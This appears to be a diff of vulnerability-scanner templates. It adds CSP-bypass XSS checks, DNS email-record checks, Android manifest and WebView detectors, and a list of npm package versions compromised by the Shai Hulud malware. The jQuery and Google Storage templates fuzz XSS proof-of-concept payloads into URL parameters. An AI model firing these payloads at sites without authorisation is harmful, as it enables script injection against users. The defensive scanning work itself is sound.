+          - "(?s)Exception.{0,500}?\\bRoadhouse\\.Cms\\."
          - "Microsoft SQL Native Client error '[0-9a-fA-F]{8}"
          - "\\[SQL Server\\]"
          - "ODBC SQL Server Driver"
@@ -313,8 +313,8 @@ http:
        regex:
          - "\\bORA-\\d{5}"
          - "Oracle error"
-          - "Oracle.*?Driver"
-          - "Warning.*?\\W(oci|ora)_"
+          - "Oracle.{0,500}?Driver"
+          - "Warning.{0,500}?\\W(oci|ora)_"
          - "quoted string not properly terminated"
          - "SQL command not properly ended"
          - "macromedia\\.jdbc\\.oracle"
@@ -326,7 +326,7 @@ http:
      - type: regex
        name: ibmdb2
        regex:
-          - "CLI Driver.*?DB2"
+          - "CLI Driver.{0,500}?DB2"
          - "DB2 SQL error"
          - "\\bdb2_\\w+\\("
          - "SQLCODE[=:\\d, -]+SQLSTATE"
@@ -339,8 +339,8 @@ http:
      - type: regex
        name: informix
        regex:
-          - "Warning.*?\\Wifx_"
-          - "Exception.*?Informix"
+          - "Warning.{0,500}?\\Wifx_"
+          - "Exception.{0,500}?Informix"
          - "Informix ODBC Driver"
          - "ODBC Informix driver"
          - "com\\.informix\\.jdbc"
@@ -352,7 +352,7 @@ http:
        name: firebird
        regex:
          - "Dynamic SQL Error"
-          - "Warning.*?\\Wibase_"
+          - "Warning.{0,500}?\\Wibase_"
          - "org\\.firebirdsql\\.jdbc"
          - "Pdo[./_\\\\]Firebird"

@@ -362,7 +362,7 @@ http:
          - "SQLite/JDBCDriver"
          - "SQLite\\.Exception"
          - "(Microsoft|System)\\.Data\\.SQLite\\.SQLiteException"
-          - "Warning.*?\\W(sqlite_|SQLite3::)"
+          - "Warning.{0,500}?\\W(sqlite_|SQLite3::)"
          - "SQLITE_ERROR"
          - "SQLite error \\d+:"
          - "sqlite3.OperationalError:"
@@ -374,19 +374,19 @@ http:
      - type: regex
        name: sapmaxdb
        regex:
-          - "SQL error.*?POS([0-9]+)"
-          - "Warning.*?\\Wmaxdb_"
+          - "SQL error.{0,500}?POS([0-9]+)"
+          - "Warning.{0,500}?\\Wmaxdb_"
          - "DriverSapDB"
-          - "-3014.*?Invalid end of SQL statement"
+          - "-3014.{0,500}?Invalid end of SQL statement"
          - "com\\.sap\\.dbtech\\.jdbc"
-          - "\\[-3008\\].*?: Invalid keyword or missing delimiter"
+          - "\\[-3008\\].{0,500}?: Invalid keyword or missing delimiter"

      - type: regex
        name: sybase
        regex:
-          - "Warning.*?\\Wsybase_"
+          - "Warning.{0,500}?\\Wsybase_"
          - "Sybase message"
-          - "Sybase.*?Server message"
+          - "Sybase.{0,500}?Server message"
          - "SybSQLException"
          - "Sybase\\.Data\\.AseClient"
          - "com\\.sybase\\.jdbc"
@@ -394,9 +394,9 @@ http:
      - type: regex
        name: ingres
        regex:
-          - "Warning.*?\\Wingres_"
+          - "Warning.{0,500}?\\Wingres_"
          - "Ingres SQLSTATE"
-          - "Ingres\\W.*?Driver"
+          - "Ingres\\W.{0,500}?Driver"
          - "com\\.ingres\\.gcf\\.jdbc"

      - type: regex
@@ -411,7 +411,7 @@ http:
        name: hsqldb
        regex:
          - "Unexpected end of command in statement \\["
-          - "Unexpected token.*?in statement \\["
+          - "Unexpected token.{0,500}?in statement \\["
          - "org\\.hsqldb\\.jdbc"

      - type: regex
@@ -494,4 +494,4 @@ http:
          - "SQ200: No table "
          - "Virtuoso S0002 Error"
          - "\\[(Virtuoso Driver|Virtuoso iODBC Driver)\\]\\[Virtuoso Server\\]"
-# digest: 4b0a00483046022100fc7880d1ba52b68e380ae499d88bfb728689d1f8cf19a0b3614da15cff736951022100b90853b96511c04b6ca8fd4ebeaa539b9a100804e46acb3f5beb203f2ff7e575:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b3102693f70190b12ccb6f15140a61b65dd91c218b1e3ea99ea59e75ad8f03170220211591503e0603405ab968f481fb3f615c7c3deb8f5849ac281640b5011fcb30:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,67 @@
+id: google-storage-csp-bypass
+
+info:
+  name: Content-Security-Policy Bypass - Google Storage
+  author: 0x_Akoko
+  severity: medium
+  description: |
+    CSP policy allows Google Storage (storage.googleapis.com) enabling malicious JavaScript execution by loading attacker-controlled files from whitelisted domain.
+  reference:
+    - https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy
+    - https://huntr.com/bounties/6cea89d1-39dc-4023-82fa-821f566b841a
+  metadata:
+    verified: true
+    max-request: 2
+  classification:
+    cwe-id: CWE-79
+  tags: xss,csp-bypass,google-storage,vuln
+
+flow: http(1) && headless(1)
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "Content-Security-Policy"
+          - "storage.googleapis.com"
+        condition: and
+        internal: true
+
+headless:
+  - steps:
+      - action: navigate
+        args:
+          url: "{{BaseURL}}"
+
+      - action: waitdialog
+        name: google_storage_csp_xss
+        args:
+          max-duration: 5s
+
+    payloads:
+      injection:
+        - "<script>alert(document.domain)</script>"
+
+    fuzzing:
+      - part: query
+        type: replace
+        mode: single
+        fuzz:
+          - "{{url_encode(injection)}}"
+
+      - part: path
+        type: replace
+        mode: single
+        fuzz:
+          - "{{url_encode(injection)}}"
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "google_storage_csp_xss == true"
+# digest: 490a00463044021f428bef4f94cbadd2d77a3c70e4546b48614d439ba6e919cfb805fc6198b025022100e8b1f79129ce7d5385fa5c255f133de86982b698d5c085eb4e3d602bc59388a4:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,63 @@
+id: jquery-cdn-csp-bypass
+
+info:
+  name: Content-Security-Policy Bypass - jQuery CDN
+  author: 0x_Akoko
+  severity: medium
+  description: |
+    CSP policy allows jQuery CDN which enables arbitrary JavaScript execution through vulnerable jQuery versions using parseHTML or $.get functions.
+  reference:
+    - https://www.doyler.net/security-not-included/csp-bypass-via-jquery
+    - https://github.com/jquery/jquery/issues/2432
+    - https://bugs.jquery.com/ticket/11974
+  metadata:
+    verified: true
+    max-request: 2
+  classification:
+    cwe-id: CWE-79
+  tags: xss,csp-bypass,jquery,vuln
+
+flow: http(1) && headless(1)
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "Content-Security-Policy"
+          - "code.jquery.com"
+        condition: and
+        internal: true
+
+headless:
+  - steps:
+      - action: navigate
+        args:
+          url: "{{BaseURL}}"
+
+      - action: waitdialog
+        name: jquery_csp_xss
+        args:
+          max-duration: 5s
+
+    payloads:
+      injection:
+        - '<script src="https://code.jquery.com/jquery-2.2.4.min.js"></script><script>$.get("data:text/javascript,alert(document.domain)")</script>'
+        - '<script src="https://code.jquery.com/jquery-1.12.4.min.js"></script><div id="x"></div><script>$("#x").html("<img src=x onerror=alert(document.domain)>")</script>'
+
+    fuzzing:
+      - part: query
+        type: replace
+        mode: single
+        fuzz:
+          - "{{url_encode(injection)}}"
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "jquery_csp_xss == true"
+# digest: 490a0046304402204dfeb2253ed0a5f3116c1a890920e318b7cca28ac18dd4f56d191f812f2c8f4d022060844041558f1c64441b60814f110186e2c16d65f9778c121aaed40e886e5eda:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,49 @@
+id: dkim-record-detect
+
+info:
+  name: DKIM Record - Detection
+  author: princechaddha
+  severity: info
+  description: |
+    A DKIM (DomainKeys Identified Mail) TXT record was detected. DKIM is an email authentication method that allows the receiver to check that an email claimed to have come from a specific domain was indeed authorized by the owner of that domain.
+  reference:
+    - https://www.rfc-editor.org/rfc/rfc6376
+    - https://dkim.org/
+  metadata:
+    max-request: 10
+  tags: dns,dkim,email,discovery
+
+dns:
+  - name: "{{selector}}._domainkey.{{FQDN}}"
+    type: TXT
+
+    payloads:
+      selector:
+        - default
+        - selector1
+        - selector2
+        - google
+        - k1
+        - s1
+        - s2
+        - dkim
+        - mail
+        - email
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "v=DKIM1"
+        case-insensitive: true
+
+      - type: regex
+        regex:
+          - 'p=[A-Za-z0-9+/]{20,}'
+        negative: false
+
+    extractors:
+      - type: regex
+        regex:
+          - "v=DKIM1(.+)"
+# digest: 490a0046304402203b26233c356e1d25b66e4391b61e29c7547624bd7457bdff47b216b4ce142d31022015cf8bf03c1bb50fe65beec8f1f178707487fe245f7d03862d397e2210aaf8a1:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,35 @@
+id: spf-limit-lookup
+
+info:
+  name: SPF record DNS lookup limit
+  author: theamanrawat
+  severity: info
+  description: |
+    SPF (Sender Policy Framework) records that exceed the 10 DNS lookup limit was detected. SPF records with more than 10 DNS-based mechanisms may cause SPF authentication failures, leading to potential email delivery issues and spoofing risks.
+  referance:
+    - https://dmarcly.com/blog/spf-permerror-too-many-dns-lookups-when-spf-record-exceeds-10-dns-lookup-limit
+  tags: dns,spf,discovery
+
+dns:
+  - name: "{{FQDN}}"
+    type: TXT
+
+    extractors:
+      - type: regex
+        name: spf_record
+        regex:
+          - 'v=spf1[^\"]*'
+        internal: true
+
+      - type: regex
+        name: spf_record_limit
+        part: spf_record
+        regex:
+          - '(?i)(include|all):?[^ ]*?'
+        internal: true
+
+    matchers:
+      - type: dsl
+        dsl:
+          - len(spf_record_limit)>10
+# digest: 4a0a0047304502203079819041b7312ed0d5b4473d23316e146a94ca65a41d87c9337a1a1dc26b98022100d71dd110e6d4908635e1fb2fe7f090f03892f24115bcebafc4e1b36b04ee0b19:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,28 @@
+id: deep-link-custom-scheme-detect
+
+info:
+  name: Android Deep Link - Detect Custom Schemes
+  author: 7h3b4dger
+  severity: info
+  description: Detects custom URI schemes (non-http/https) declared in Deep Link intent filters.
+  tags: android,file,deeplink
+
+file:
+  - extensions:
+      - xml
+
+    matchers:
+      - type: xpath
+        part: body
+        xpath:
+          - "//activity/intent-filter/action[@android:name='android.intent.action.VIEW']"
+          - "//activity/intent-filter/category[@android:name='android.intent.category.BROWSABLE']"
+        condition: and
+
+    extractors:
+      - type: xpath
+        part: body
+        attribute: android:scheme
+        xpath:
+          - "/manifest/application/activity/intent-filter/data[@android:scheme!='http' and @android:scheme!='https']"
+# digest: 4b0a00483046022100dfee623cb783925f2b89ea83c79151915f4162f43ea65bbefc3f722abef572bd022100b858c523655c14169534615ca34ad18ccdae8f6e8f6bdae088ada1b8c25ec943:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,28 @@
+id: exported-activities
+
+info:
+  name: Android Exported Activities - Detect
+  author: 7h3b4dger
+  severity: info
+  description: Detect exported (android:exported="true") activities in AndroidManifest.xml, excluding launcher activities and common Google/Jetpack libraries.
+  tags: android,file,exportedcomponents
+
+file:
+  - extensions:
+      - xml
+
+    matchers:
+      - type: xpath
+        part: body
+        xpath:
+          - "//activity[@android:exported='true']"
+          - "//activity/intent-filter/action[@android:name!='android.intent.category.LAUNCHER']"
+        condition: and
+
+    extractors:
+      - type: xpath
+        part: body
+        attribute: android:name
+        xpath:
+          - "//activity[@android:exported='true'and not(contains(@android:name, 'androidx')) and not(contains(@android:name, 'google'))]"
+# digest: 490a004630440220457f58399dc08789899303ee923debaeabb34e6378d3cf92a8990917197c49a6022024f33e09d43b6ec9eb9a496ae9902d84a51e6ab5705a83bf695423d5a7143a89:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,28 @@
+id: exported-broadcast-receivers
+
+info:
+  name: Android Exported Broadcast Receivers in AndroidManifest.xml - Detect
+  author: 7h3b4dger
+  severity: info
+  description: Detect exported Broadcast Receivers in AndroidManifest.xml (excluding disabled receivers and Google/Jetpack libraries)
+  tags: android,file,exportedcomponents
+
+file:
+  - extensions:
+      - xml
+
+    matchers:
+      - type: xpath
+        part: body
+        xpath:
+          - "//receiver[@android:exported='true']"
+          - "//receiver[@android:enabled!='false']"
+        condition: and
+
+    extractors:
+      - type: xpath
+        part: body
+        attribute: android:name
+        xpath:
+          - "//receiver[@android:exported='true'and not(contains(@android:name, 'androidx')) and not(contains(@android:name, 'google'))]"
+# digest: 4b0a00483046022100ea0a6074ea4f80d449daef641113ac85735df72bc419255d35f14c94c24ed1d6022100a063cee8432cd71af136b73f1f6cb7e4f1f8121f9699358d61dec8e3c0a76c3e:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,26 @@
+id: exported-providers
+
+info:
+  name: Android Exported Providers - Detect
+  author: 7h3b4dger
+  severity: info
+  description: Detects exported content providers declared in the app’s AndroidManifest.xml, excluding those added by dependency libraries.
+  tags: android,file,exportedcomponents
+
+file:
+  - extensions:
+      - xml
+
+    matchers:
+      - type: xpath
+        part: body
+        xpath:
+          - "//provider[@android:exported='true']"
+
+    extractors:
+      - type: xpath
+        part: body
+        attribute: android:name
+        xpath:
+          - "//provider[@android:exported='true' and not(contains(@android:name, 'androidx')) and not(contains(@android:name, 'google'))]"
+# digest: 4b0a00483046022100ae19fefa832a8fe0477ab132a4199f1736357246d1481d4ee01922e00b7efba7022100dd90c806e248816f43a478d6bbdf9e16a08975a3bb154c1f88e9a882e8fbfaa7:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,26 @@
+id: exported-services
+
+info:
+  name: Android Exported Services - Detect
+  author: 7h3b4dger
+  severity: info
+  description: Detect exported services in AndroidManifest.xml, excluding disabled and common Google/Jetpack library services.
+  tags: android,file,exportedcomponents
+
+file:
+  - extensions:
+      - xml
+
+    matchers:
+      - type: xpath
+        part: body
+        xpath:
+          - "//service[@android:exported='true']"
+
+    extractors:
+      - type: xpath
+        part: body
+        attribute: android:name
+        xpath:
+          - "//service[@android:exported='true' and not(contains(@android:name, 'androidx')) and not(contains(@android:name, 'google'))]"
+# digest: 4b0a004830460221009100a81cea6ccb3105977ace3ad5131a1a677f7f332e6192c1dcbb5a24705025022100ce7022ee4b51071412405072a5899d71af706efe2c9f965dff02f3d434d6f63e:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,32 @@
+id: webview-file-access-fromfileurl-java
+
+info:
+  name: Android WebView File Access from file URLs - Detect in Java sources
+  author: 7h3b4dger
+  severity: info
+  description: Android WebView File Access from file URLs enabling was detected - Java source version.
+  tags: android,file,webview
+
+file:
+  - extensions:
+      - java
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "setAllowFileAccessFromFileURLs(true)"
+
+      - type: regex
+        part: body
+        regex:
+          - package\s+(?:.*)
+
+    extractors:
+      - type: regex
+        part: body
+        name: package
+        group: 1
+        regex:
+          - (?m)^\s*package\s+([A-Za-z_][A-Za-z0-9_\.]*)\s*;
+# digest: 490a00463044022034c6c89c765c2dc11e557c4b752bd3c7391a8e514f74343f057b87e1a54856b5022062707c1122b2429879a1b3a5bfb6db32bd202a823b826a099335d5fc9cda48ec:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,32 @@
+id: webview-file-access-java
+
+info:
+  name: Android File Access - Detect in Java sources
+  author: 7h3b4dger
+  severity: info
+  description: Android WebView File Access enabling was detected - Java source version.
+  tags: android,file,webview
+
+file:
+  - extensions:
+      - java
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "setAllowFileAccess(true)"
+
+      - type: regex
+        part: body
+        regex:
+          - package\s+(?:.*)
+
+    extractors:
+      - type: regex
+        part: body
+        name: package
+        group: 1
+        regex:
+          - (?m)^\s*package\s+([A-Za-z_][A-Za-z0-9_\.]*)\s*;
+# digest: 4a0a00473045022028b71ccf953d918f4232cb0c9e4cd8774b3f37f0ed64e7b0c69333893236ea21022100854a654d966c122e26ea8c2220c8d62d2259e173fd6b3a87e80b04b157c9c2ec:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,32 @@
+id: webview-universal-access-java
+
+info:
+  name: Android WebView Universal Access - Detect in Java sources
+  author: 7h3b4dger
+  severity: info
+  description: Android WebView Universal Access enabling was detected - Java source version.
+  tags: android,file,webview
+
+file:
+  - extensions:
+      - java
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "setAllowUniversalAccessFromFileURLs(true)"
+
+      - type: regex
+        part: body
+        regex:
+          - package\s+(?:.*)
+
+    extractors:
+      - type: regex
+        part: body
+        name: package
+        group: 1
+        regex:
+          - (?m)^\s*package\s+([A-Za-z_][A-Za-z0-9_\.]*)\s*;
+# digest: 4a0a00473045022100b4ab25d9af5156ca830d2354c2ae9495d6e3b2e012187e4f9b48716025f3466102202a72c3a24c91d16dc9e8cb1673ed0ae719718a2ef199d50bc9cec8a35d85cf90:922c64590222798bb761d5b6d8e72950
@@ -22,4 +22,4 @@ file:
          - 'InvalidOperationException'
          - 'UnauthorizedAccessException'
          - 'NotFound'
-# digest: 490a00463044022001a28cfdfeefcf2533646ec4e84101d825e19d420db7d5d7909b43b437bc547e022060002c6ac0078d9aeed09ea81c2e819a74549e623eec8134a59bfecf0e6055dd:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201af19f5518e23bbd22d137a3f49ee6c9da460de2edad6010429ff22dee214f3c0220709f5fc1670bc2b8e02036c3a3f3f2a02e0c144fb4868b3ef82d4dadaed6f284:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ file:
          - 'BadRequestError'
          - 'MongoError'
          - 'SequelizeDatabaseError'
-# digest: 4b0a00483046022100ba8e6c12e8ec5e4ae3e0801b7390b711631dfb574d037999d5c90c8eced666fc022100e66a617a1ec1e10cec9119814077b2b790c3dba13e2a9264c4cf9500d2db53f8:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207d1f64bd705f877c458c8c691e7fb5753397935a648cc689d979d5d7b1335a3202207ce1da9706510ee51b1795c70c933630aecffa544ff51d39fa51598687f24e16:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,155 @@
+id: shai-hulud-supply-chain
+
+info:
+  name: Shai Hulud 2.0 - Supply Chain Malware Detection
+  author: princechaddha,wiz-research
+  severity: critical
+  description: |
+    Detects compromised npm packages from the Shai Hulud 2.0 supply chain attack discovered in November 2025.
+    The attack affected over 25,000 malicious repositories across approximately 350 GitHub users, targeting major organizations
+    including Zapier, ENS Domains, PostHog, Postman, AsyncAPI, Voiceflow, and BrowserBase. The malware executes during the
+    preinstall phase and performs credential theft, cloud resource access (AWS, Azure, GCP), and GitHub persistence through
+    self-hosted runners named 'SHA1HULUD'. Malicious versions were published between November 21-23, 2025.
+  reference:
+    - https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack
+    - https://www.aikido.dev/blog/shai-hulud-strikes-again-hitting-zapier-ensdomains
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
+    cvss-score: 9.6
+    cwe-id: CWE-1357
+  metadata:
+    verified: true
+    max-request: 1
+  tags: file,malware,supply-chain,npm,nodejs,shai-hulud
+
+file:
+  - extensions:
+      - json
+
+    extractors:
+      - type: regex
+        name: zapier-compromised
+        regex:
+          - '"@zapier/secret-scrubber":\s*"[^"]*1\.1\.[345][^"]*"'
+          - '"@zapier/ai-actions":\s*"[^"]*0\.1\.(18|19|20)[^"]*"'
+          - '"@zapier/babel-preset-zapier":\s*"[^"]*6\.4\.[123][^"]*"'
+          - '"@zapier/browserslist-config-zapier":\s*"[^"]*1\.0\.[345][^"]*"'
+          - '"zapier-platform-cli":\s*"[^"]*18\.0\.[234][^"]*"'
+          - '"zapier-platform-core":\s*"[^"]*18\.0\.[234][^"]*"'
+          - '"zapier-platform-schema":\s*"[^"]*18\.0\.[234][^"]*"'
+          - '"zapier-scripts":\s*"[^"]*7\.8\.[34][^"]*"'
+          - '"zapier-async-storage":\s*"[^"]*1\.0\.[123][^"]*"'
+
+      - type: regex
+        name: ensdomains-compromised
+        regex:
+          - '"@ensdomains/address-encoder":\s*"[^"]*1\.1\.5[^"]*"'
+          - '"@ensdomains/contracts":\s*"[^"]*1\.6\.1[^"]*"'
+          - '"@ensdomains/ensjs":\s*"[^"]*4\.0\.3[^"]*"'
+          - '"@ensdomains/content-hash":\s*"[^"]*3\.0\.1[^"]*"'
+          - '"@ensdomains/ens-avatar":\s*"[^"]*1\.0\.4[^"]*"'
+          - '"@ensdomains/blacklist":\s*"[^"]*1\.0\.1[^"]*"'
+          - '"@ensdomains/buffer":\s*"[^"]*0\.1\.2[^"]*"'
+          - '"@ensdomains/ccip-read-[^"]*":\s*"[^"]*0\.(0|1)\.\d+[^"]*"'
+          - '"@ensdomains/cypress-metamask":\s*"[^"]*1\.2\.1[^"]*"'
+          - '"@ensdomains/dnsprovejs":\s*"[^"]*0\.5\.3[^"]*"'
+          - '"@ensdomains/ens-test-env":\s*"[^"]*1\.0\.2[^"]*"'
+          - '"@ensdomains/ens-validation":\s*"[^"]*0\.1\.1[^"]*"'
+          - '"@ensdomains/mock":\s*"[^"]*2\.1\.52[^"]*"'
+          - '"@ensdomains/thorin":\s*"[^"]*0\.6\.51[^"]*"'
+          - '"@ensdomains/ui":\s*"[^"]*3\.4\.6[^"]*"'
+          - '"ethereum-ens":\s*"[^"]*0\.8\.1[^"]*"'
+          - '"crypto-addr-codec":\s*"[^"]*0\.1\.9[^"]*"'
+
+      - type: regex
+        name: posthog-compromised
+        regex:
+          - '"@posthog/agent":\s*"[^"]*1\.24\.1[^"]*"'
+          - '"@posthog/ai":\s*"[^"]*7\.1\.2[^"]*"'
+          - '"@posthog/cli":\s*"[^"]*0\.5\.15[^"]*"'
+          - '"@posthog/clickhouse":\s*"[^"]*1\.7\.1[^"]*"'
+          - '"@posthog/core":\s*"[^"]*1\.5\.6[^"]*"'
+          - '"@posthog/icons":\s*"[^"]*0\.36\.1[^"]*"'
+          - '"@posthog/wizard":\s*"[^"]*1\.18\.1[^"]*"'
+          - '"posthog-js":\s*"[^"]*1\.(167|168|169|297)\.\d+[^"]*"'
+          - '"posthog-node":\s*"[^"]*[45]\.(11|13|18)\.\d+[^"]*"'
+          - '"posthog-docusaurus":\s*"[^"]*2\.0\.6[^"]*"'
+          - '"posthog-react-native":\s*"[^"]*4\.(11|12)\.\d+[^"]*"'
+          - '"posthog-plugin-hello-world":\s*"[^"]*1\.0\.1[^"]*"'
+
+      - type: regex
+        name: postman-compromised
+        regex:
+          - '"@postman/csv-parse":\s*"[^"]*4\.0\.[345][^"]*"'
+          - '"@postman/node-keytar":\s*"[^"]*7\.9\.[456][^"]*"'
+          - '"@postman/tunnel-agent":\s*"[^"]*0\.6\.[567][^"]*"'
+          - '"@postman/aether-icons":\s*"[^"]*2\.23\.[234][^"]*"'
+
+      - type: regex
+        name: asyncapi-compromised
+        regex:
+          - '"@asyncapi/studio":\s*"[^"]*1\.0\.[23][^"]*"'
+          - '"@asyncapi/server-api":\s*"[^"]*0\.16\.(24|25)[^"]*"'
+          - '"@asyncapi/dotnet-rabbitmq-template":\s*"[^"]*1\.0\.[12][^"]*"'
+          - '"@asyncapi/go-watermill-template":\s*"[^"]*0\.2\.(76|77)[^"]*"'
+          - '"@asyncapi/java-template":\s*"[^"]*0\.3\.[56][^"]*"'
+          - '"@asyncapi/keeper":\s*"[^"]*0\.0\.[23][^"]*"'
+          - '"@asyncapi/php-template":\s*"[^"]*0\.1\.[12][^"]*"'
+          - '"@asyncapi/python-paho-template":\s*"[^"]*0\.2\.(14|15)[^"]*"'
+          - '"@asyncapi/web-component":\s*"[^"]*2\.6\.[67][^"]*"'
+          - '"@asyncapi/edavisualiser":\s*"[^"]*1\.2\.[12][^"]*"'
+          - '"asyncapi-preview":\s*"[^"]*1\.0\.[12][^"]*"'
+          - '"create-glee-app":\s*"[^"]*0\.2\.[23][^"]*"'
+
+      - type: regex
+        name: voiceflow-compromised
+        regex:
+          - '"@voiceflow/alexa-types":\s*"[^"]*2\.15\.(60|61)[^"]*"'
+          - '"@voiceflow/anthropic":\s*"[^"]*0\.4\.[45][^"]*"'
+          - '"@voiceflow/api-sdk":\s*"[^"]*3\.28\.(58|59)[^"]*"'
+          - '"@voiceflow/backend-utils":\s*"[^"]*5\.0\.[12][^"]*"'
+          - '"@voiceflow/base-types":\s*"[^"]*2\.136\.[23][^"]*"'
+          - '"@voiceflow/body-parser":\s*"[^"]*1\.21\.[23][^"]*"'
+          - '"@voiceflow/chat-types":\s*"[^"]*2\.14\.(58|59)[^"]*"'
+          - '"@voiceflow/common":\s*"[^"]*8\.9\.[12][^"]*"'
+          - '"@voiceflow/eslint-config":\s*"[^"]*7\.16\.[45][^"]*"'
+          - '"@voiceflow/general-types":\s*"[^"]*3\.2\.(22|23)[^"]*"'
+          - '"@voiceflow/google-types":\s*"[^"]*2\.21\.(12|13)[^"]*"'
+          - '"@voiceflow/runtime":\s*"[^"]*1\.29\.[12][^"]*"'
+
+      - type: regex
+        name: browserbase-compromised
+        regex:
+          - '"@browserbasehq/stagehand":\s*"[^"]*3\.0\.4[^"]*"'
+          - '"@browserbasehq/mcp-server-browserbase":\s*"[^"]*2\.4\.2[^"]*"'
+          - '"@browserbasehq/director-ai":\s*"[^"]*1\.0\.3[^"]*"'
+          - '"@browserbasehq/bb9":\s*"[^"]*1\.2\.21[^"]*"'
+          - '"@browserbasehq/mcp":\s*"[^"]*2\.1\.1[^"]*"'
+
+      - type: regex
+        name: accordproject-compromised
+        regex:
+          - '"@accordproject/concerto-analysis":\s*"[^"]*3\.24\.1[^"]*"'
+          - '"@accordproject/concerto-linter":\s*"[^"]*3\.24\.1[^"]*"'
+          - '"@accordproject/concerto-types":\s*"[^"]*3\.24\.1[^"]*"'
+          - '"@accordproject/template-engine":\s*"[^"]*2\.7\.2[^"]*"'
+
+      - type: regex
+        name: other-compromised-scoped
+        regex:
+          - '"@actbase/react-native-[^"]*":\s*"[^"]*[0-9]+\.[0-9]+\.[0-9]+[^"]*"'
+          - '"@antstackio/[^"]*":\s*"[^"]*[0-9]+\.[0-9]+\.[0-9]+[^"]*"'
+          - '"@clausehq/flows-step-[^"]*":\s*"[^"]*0\.1\.14[^"]*"'
+          - '"@dev-blinq/[^"]*":\s*"[^"]*1\.0\.[0-9]+[^"]*"'
+          - '"@kvytech/[^"]*":\s*"[^"]*0\.0\.[0-9]+[^"]*"'
+          - '"@lessondesk/[^"]*":\s*"[^"]*[0-9]+\.[0-9]+\.[0-9]+[^"]*"'
+          - '"@trigo/[^"]*":\s*"[^"]*[0-9]+\.[0-9]+\.[0-9]+[^"]*"'
+          - '"@varsityvibe/[^"]*":\s*"[^"]*[0-9]+\.[0-9]+\.[0-9]+[^"]*"'
+
+      - type: regex
+        name: malicious-indicators
+        regex:
+          - 'SHA1HULUD'
+          - 'SHAI-HULUD'
+          - 'shai-hulud'
+# digest: 4a0a00473045022044a941bb4a169ab032c61fda553bafea4f00744b398fd40ca246c31e0186b2cc022100ff6ac326626b807b20362c737941d4ef5931a724fdead3674149eaa8613009a4:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 4.3
    cve-id: CVE-2018-25031
    cwe-id: CWE-20
-    epss-score: 0.82992
-    epss-percentile: 0.99204
+    epss-score: 0.81969
+    epss-percentile: 0.99167
    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -54,4 +54,4 @@ headless:
        words:
          - "swagger"
        case-insensitive: true
-# digest: 4b0a0048304602210092addecbe0999e8ac7566a8b688cfbd6a662f6480b8b8aab4c4dc0b19656a67e022100d627e696252fbcffe4f777cb7bcb58f4a7b501b34222468a4025204389672d21:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402205e369747bdcf0fc30b956ae67776c0e05e2dda3bc620d4be3228fff1ff6de83e02204358cfca397249a71877a96422c989375908db16f00306e5d2db9a2026f8a305:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 6.1
    cve-id: CVE-2022-29455
    cwe-id: CWE-79
-    epss-score: 0.69544
-    epss-percentile: 0.98579
+    epss-score: 0.73995
+    epss-percentile: 0.9878
    cpe: cpe:2.3:a:elementor:website_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
@@ -52,4 +52,4 @@ headless:
        words:
          - "elementor"
        case-insensitive: true
-# digest: 4a0a00473045022034041612068bb6cc23a19b360e6acbd244a6a4058cf1d36cd8222f5a2f1b503f02210080b9f278c949817375c1590c7732a2e556d93e25ea1090cd9a519b1c90a90a62:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221009885661089305c3cc59fd98c9c4a1cc27171c53fe51282ac6d4e5afe53383b2b02202dfcd3de9b39759a90af8e4bbbf4345141548d04ec4186ff52d043f24125aa8a:922c64590222798bb761d5b6d8e72950
@@ -14,8 +14,8 @@ info:
    cvss-score: 7.2
    cve-id: CVE-2024-29882
    cwe-id: CWE-79
-    epss-score: 0.02716
-    epss-percentile: 0.85401
+    epss-score: 0.02542
+    epss-percentile: 0.85045
  metadata:
    verified: true
    max-request: 1
@@ -46,4 +46,4 @@ headless:
          - "ConnectSRS</a>"
        condition: or
        case-insensitive: true
-# digest: 490a004630440220558a089dc181f6ec5760dd0ce307114bfa92ee5a5c1016d5bee66631a891b03402203e32c3102bf24d9b61500ae2f19afe47da572f008de06db6a8a6a53e462a9703:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201064a1cd32f4b8a0aee34b4126dece89213efb9727157c91ab08bc7ba98540be022100da6d802aebeb113808e64dd87a3aa269a0261b14bc958d4092309a3c8c23c40b:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L
    cvss-score: 7.2
    cve-id: CVE-2024-38526
-    epss-score: 0.79167
